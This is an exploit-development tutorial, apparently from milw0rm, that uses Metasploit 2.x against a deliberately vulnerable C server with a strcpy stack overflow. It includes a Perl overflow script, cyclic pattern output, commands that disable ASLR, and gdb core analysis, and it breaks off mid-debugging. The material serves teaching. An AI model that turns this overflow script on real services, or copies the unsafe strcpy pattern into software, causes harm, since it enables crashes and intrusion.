[hide=15]Hm, this is simple journal about how-to writing exploit using metasploit branch 2.x (perl based). This article was contributed to milw0rm community and the original version can be found here.
Simple Metasploit in Action!
by: Cyberheb
| --- Intro
Hi there,
I made this article in order to show you about using metasploit framework for creating exploit. Metasploit Framework
is a framework for exploit development, it help us to make exploit development getting easier and more efficient than
before, the whole story about metasploit framework can be found from it's official site et http://www.metasploit.com.
Through this article, i'll show you how to make simple exploit which is part of metasploit framework and use it's
feature to make exploit development more efficient. First of all, we need to create simple vulnerable server which can
be exploited, this vulnerable server has stack buffer overflow hole and easy to be exploited. I'll take this simple
vulnerable server from preddy's article which was posted for milw0rm few months ago (see under reference for preddy's
article), you can look at preddy's article for the detail on exploiting this server application. I'll only show you
some important detail related to this article.
| --- Vulnerable Server
Here's the vulnerable server,
Cyb3rh3b@k-elektronik$ cat server.c
/* Vulnerable server, reference by predy's article et http://www.milw0rm.com/papers/78 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define LISTENPORT 7500
#define BACKLOG 10
#define MSG "Hello, how are you?"
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf("The client says \"%s\"\n",response);
return 0;
}
int main(int argc, char * argv[]) {
int sock, conn;
struct sockaddr_in my_addr, client_addr;
int sockopt_on = 1;
int sa_in_size = sizeof(struct sockaddr_in);
char reply[1024];
//get a socket
if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) {
perror("socket");
exit(1);
}
//first zero the struct
memset((char *) &my_addr, 0, sa_in_size);
//now fill in the fields we need
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(LISTENPORT);
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);
//bind our socket to the port
if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) {
perror("bind");
exit(1);
}
//start listening for incoming connections
if (listen(sock,BACKLOG) == -1) {
perror("listen");
exit(1);
}
while(1) {
//grab connections
conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size);
if (conn == -1) {
perror("accept");
exit(1);
}
//log the connecter
printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr));
//send a greeting
send(conn,MSG,strlen(MSG)+1,0);
//get the reply
recv(conn, reply, 1024, 0);
handle_reply(reply);
}
return 0;
}
------------------------------------------- END HERE
As you can see, this server has stack buffer overflow hole at handle_reply function. The response variable only
provide 256 bytes character to be used as buffer for strcpy function. So if it received more than 256 character from
it's client, the stack will be buffer overflow'd (again, please look the details at preddy's article on reference part
below).
Before sending real payload to the vulnerable server, we need to analyze the memory location which is used by the
server after overflow process happened. We will use lot of great feature provided by Metasploit Framework to produce
real exploit for our lovely vulnerable server.
Ah ya...i use linux slax with 2.6.12 kernel for this article.
| --- Finding the Offset
From the server source code, we knew that server will be crashed if received more than 256 byte data from client. So,
we have got the attack vector for exploiting the server. The next step is finding the right offset for our payload.
Wait...what about if we didn't know the buffer size?!the information we got only the server will crash if it receive
huge data from client?!or even we know the buffer size, we still have to calculate the exact number of bytes sent to
overwrite the eip register, or in other words...we need to find the offset. The term offset is used to refer the
number of data must be sent before four-bytes which overwrite the eip register.
Metasploit Framework give you simple tools to generate pattern of data which produce series of ASCII characters of
specified lenght where any four consecutive character is unique. Using this series of ASCII, we can find the exact
offset to overwrite the return address of vulnerable server. This tool is called PatternCreate(). The PatternCreate()
is a method available from the Pex.pm library located in ~/framework/lib. Use the method to produce a series of ASCII
character with 400 bytes length.
Cyberheb@kecoak$ perl -e 'use Pex;print Pex::Text::PatternCreate(400);'
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Next, we can copy those ASCII series to be inserted as attackstring for the vulnerable server. Here's the simple
script to overflow the server:
Cyberheb@kecoak$ cat send-overflow.pl
# Overflow the server process using series of unique ASCII characters.
use IO::Socket;
$ip = $ARGV[0];
$attackstring =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6'.
'Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3'.
'Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0'.
'Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7'.
'Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A';
# Check if target IP is given
if(!$ip)
{
die "You have to provide the target's IP Address..\n";
}
$port = '7500';
$protocol = 'tcp';
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1'|| die "Could not create socket\n";
#send the ASCII pattern to the remote computer
print $socket $attackstring;
#close the connection
close($socket);
------------------------------------------- END HERE
Now, run the vulnerable server as root (only for example ). And execute the send-overflow script to overflow the
server. Ah ya, make sure the VA patch is non-active (kernel 2.6), and also activate the core dump to analyze server
process using gdb.
[— Server Side —]
Cyberheb@k-elektronik# echo “0″ > /proc/sys/kernel/randomize_va_space
Cyberheb@k-elektronik# ulimit -c unlimited
Cyberheb@k-elektronik# ifconfig | grep “inet addr”
inet addr:192.168.80.130 Bcast:192.168.80.255 Mask:255.255.255.0
inet addr:127.0.0.1 Mask:255.0.0.0
Cyberheb@k-elektronik# ./server
[— Client Side —]
Cyberheb@kecoak$ ./send-overflow.pl 192.168.80.130
[— Server Side —]
Cyberheb@k-elektronik# ./server
got connection from 192.168.80.100
The client says “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A”
Segmentation fault (core dumped)
We just crashed the server process using attackstring. Next, we have to analyze at server side using gdb to know
what’s excatly happened after the overflow occured, especially the value of eip register after segmentation fault.
Cyberheb@k-elektronik# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”…Using host libthread_db library “/lib/tls/libthread_db.so.1″.
Core was generated by `./server’.
Program terminated with signal 11, Segmentation fault.
warning: current_sos: Can’t read pathname for load map: Input/output error
Reading symbols from /lib/tls/libc.so.6…done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2…done.
Loaded symbols for /lib/ld-linux.so.2
#0 0